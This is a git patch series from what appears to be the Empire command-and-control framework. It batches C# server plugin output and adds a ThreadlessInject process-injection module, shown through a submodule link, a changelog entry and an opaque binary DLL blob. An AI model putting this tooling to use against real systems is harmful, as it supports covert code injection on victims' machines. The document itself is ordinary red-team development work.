reset (@Cx01N) - ### Changed - Converted C# server plugin to use plugin taskings (@Cx01N) - Upgraded Ruff to 0.5.0 and Black to 24.4.2 (@Vinnybod) diff --git a/empire/server/plugins/csharpserver/csharpserver.py b/empire/server/plugins/csharpserver/csharpserver.py index d9bc13e20..dfe648e80 100644 --- a/empire/server/plugins/csharpserver/csharpserver.py +++ b/empire/server/plugins/csharpserver/csharpserver.py @@ -4,6 +4,7 @@ import os import socket import subprocess +import time from empire.server.common import helpers from empire.server.common.empire import MainMenu @@ -69,18 +70,11 @@ def execute(self, command, **kwargs): db.flush() def register(self, main_menu: MainMenu): - """ - any modifications to the main_menu go here - e.g. - registering functions to be run by user commands - """ self.installPath = main_menu.installPath self.main_menu = main_menu self.plugin_service: PluginService = main_menu.pluginsv2 def toggle_csharpserver(self, command): - """ - Check if the Empire C# server is already running. - """ self.start = command["status"] if not self.csharpserver_proc or self.csharpserver_proc.poll(): @@ -98,12 +92,10 @@ def toggle_csharpserver(self, command): elif self.start == "start": if self.status == "OFF": - # Will need to update this as we finalize the folder structure server_dll = ( self.installPath + "/csharp/Covenant/bin/Debug/net6.0/EmpireCompiler.dll" ) - # If dll hasn't been built yet if not os.path.exists(server_dll): csharp_cmd = ["dotnet", "build", self.installPath + "/csharp/"] self.csharpserverbuild_proc = subprocess.call(csharp_cmd) @@ -132,21 +124,34 @@ def toggle_csharpserver(self, command): def thread_csharp_responses(self): task_input = "Collecting Empire C# server output stream..." + batch_timeout = 5 # seconds + response_batch = [] + last_batch_time = time.time() while True: response = self.csharpserver_proc.stdout.readline().rstrip() - if response: - output = response.decode("UTF-8") + response_batch.append(response.decode("UTF-8")) + + if (time.time() - last_batch_time) >= batch_timeout: + output = "\n".join(response_batch) log.debug(output) status = PluginTaskStatus.completed self.record_task(status, output, task_input) - - elif not response: + response_batch.clear() + last_batch_time = time.time() + + if not response: + if response_batch: + output = "\n".join(response_batch) + log.debug(output) + status = PluginTaskStatus.completed + self.record_task(status, output, task_input) output = "Empire C# server output stream closed" status = PluginTaskStatus.error log.warning(output) self.record_task(status, output, task_input) + break def record_task(self, status, task_output, task_input): with SessionLocal.begin() as db: @@ -168,7 +173,6 @@ def do_send_message(self, compiler_yaml, task_name, confuse=False): bytes_task_name = task_name.encode("UTF-8") b64_task_name = base64.b64encode(bytes_task_name) - # check for confuse bool and convert to string bytes_confuse = b"true" if confuse else b"false" b64_confuse = base64.b64encode(bytes_confuse) @@ -196,9 +200,7 @@ def do_send_stager(self, stager, task_name, confuse=False): b64_yaml = base64.b64encode(bytes_yaml) bytes_task_name = task_name.encode("UTF-8") b64_task_name = base64.b64encode(bytes_task_name) - # compiler only checks for true and ignores otherwise - # check for confuse bool and convert to string bytes_confuse = b"true" if confuse else b"false" b64_confuse = base64.b64encode(bytes_confuse) From b7141b98ae295f48f3ef46e5a10fc3530d2345ed Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Fri, 12 Jul 2024 22:37:23 -0400 Subject: [PATCH 16/26] Added Threadlessinject module (#845) * added threadless inject module * updated threadlessinject to work with empire * added threadless inject and working module * updated author * updated deprecated functions * Update ThreadlessInject.Covenant.py fixed exception raising * updated deprecated functions again --- .gitmodules | 3 + CHANGELOG.md | 1 + .../net40/System.Xml.Linq.dll | Bin 0 -> 47968 bytes .../ReferenceSourceLibraries/ThreadlessInject | 1 + .../csharp/ThreadlessInject.Covenant.py | 120 ++++++++++++ .../csharp/ThreadlessInject.Covenant.yaml | 175 ++++++++++++++++++ 6 files changed, 300 insertions(+) create mode 100644 empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.Xml.Linq.dll create mode 160000 empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject create mode 100644 empire/server/modules/csharp/ThreadlessInject.Covenant.py create mode 100644 empire/server/modules/csharp/ThreadlessInject.Covenant.yaml diff --git a/.gitmodules b/.gitmodules index f76030d23..9f45193a5 100644 --- a/.gitmodules +++ b/.gitmodules @@ -55,3 +55,6 @@ [submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty"] path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty url = https://github.com/BC-SECURITY/Moriarty.git +[submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject"] + path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject + url = https://github.com/CCob/ThreadlessInject.git diff --git a/CHANGELOG.md b/CHANGELOG.md index cb235627c..0528f5325 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added job tracking for all tasks in Sharpire (@Cx01N) - Updated agents to track all tasks and removed only tracking jobs (@Cx01N) - Added Invoke-BSOD modules (@Cx01N) +- Added ThreadlessInject module (@Cx01N) ### Fixed - Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) diff --git a/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.Xml.Linq.dll b/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.Xml.Linq.dll new file mode 100644 index 0000000000000000000000000000000000000000..6061dfc0f4b1ebd4957709d0482522ba677cc246 GIT binary patch literal 47968 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�)#8^bpN;ny|658`Vi#1+*M@x`F$@1!42^}&NS1vv9(3|o7o9;`l)-0z$ln7Ii)~?``u)h62A~`X@?;N}-$>2D^$I^O$3C(+ zg^*f_G<>=Mzf#8EgSh@U?Ijv{Jui>(!~S#B%?y^^_|Eag&OX6q1AYfgQp=Vvn7wzH zm9wiLli&Nz#*UW(Y58>%ez9N{TyZDfXXn51_-!|@oceFibG+yMdG9$Xd~AvVPoz|d zcDqG*4$f3GK+lC}1N+9fFO0vz_#Hq==*9PP(6eho(BdDRiQ_pIhVTn;@sKkNa`~hm z`GT?%d3k$4KJx{8a47%s_4nt_j^VcCi?-w`W!lhpToX^3R7C_n^^2e!#L?SWJJ>xBNPz zI1dRgM`ANyw1H1VI;! zi|U{rB0Orgd(MKlC+*BmdoXER!ik?cC+E(p`=#AIFJ{mD`i-2=-dgqi zjA5gSzgwqye)#d+^7u{ztj`|qxVzcl-Pc!rkiGBWoAvoGbnbbs_TQl$+r5#|>F45g zuV0gW->pO1t$S@}e23?U80S0QZPB*xsx- zO0Hk@)5O|^OP1cW{oIqc-TQj#{rO8iILp`tSWnXe_z#I1*8L~`cUq)N%mVZ>Bfq6>zF8tZN@JDkL z)Y+!9HpCnppo2~O`v>~@nHO$muB2VK-n{URn(zrnD!;Zl@98-5y5>8E-*n;CP0lNC zZ;QfcKi$}`--?Jg2K-QR`lEDn7}qgMk}hcd&3^bYw_%1}8?9}AsLkPOs+{oH*%Jpw ztRI-xxZZmhM-h47J^yNv@UfWlbF{A9ky}S3`l=R9uzwr5Uzdw3%&`0xrKXq!`?>~HW zEOck(+qZn2_eARE`Np^Uzn9dkI7PE@;q;Cxf0$Tu^Y-z3)83h~YV?v;y}s{zXYHbp z&69838Mk}WeXnjkVR+(M^EFEi%|m-UJ?guRlYcXRd`mam^8JI*P2CLK3yA0 z1@Fc#()T;uX79cq2d%#2tzT1Hee%>#AD@2H;`eOrn{QVQpP2K|nZJE=^q;l~tz2L1 zj9smLt$S8&>A3i|cTTduxHTqik@dg>Pj9VSam^RY?`Ym-=k;Bxx4e~_w&dfTU5>^4 z)bsPBFGr6rY=7>K)ytQ4|NXn%xKD39uN}DHwb$0(vMh9_-#?H19x^ET!aGk6{NSeS z-~~UtGxU)O-&8x>%<8ycW%7a8NjviWhF)6{_`v8DcLvnlzwnX55yuz4{qwVf>JpwA z9lGvVL2jh^%YWUsV*cL_%pKo+xo%gAt@g{rPOEfZ{`6M!Jtu#C?Talfl)2};dExg> z&pqBzoI2az^-}A^yC&bVZ1iI*_Z(dJxcertV6+M2QICNfSR>Y{HXXGw=IENHhkX_g z`*zy?=Dy~%+LYSlWxbSb@e*gbslxNqy(aAX#aGU-#e*A<+W`F2jIQ|10xTycu*`!! zv!f(w`?=!Gt6w)_zfoPI8#+~jP1w*85UPJ?R}wn(49@sK-p zNFHXNyD|GLm1m#u>CM*V)luiI5$|QUE1ElXa|4xK`L##*I=wOZ^fo7$laf++>PZ9q z3w#~^(LU_GKn$nZ)@|Wy+Zs;4=`=9^1>X{o~eDK(#w#u^EUCTauV)xfepL*@9hkuLQ(rjFZ z?(wguzdJ_Ty80g#r4>U8-}~U~htF 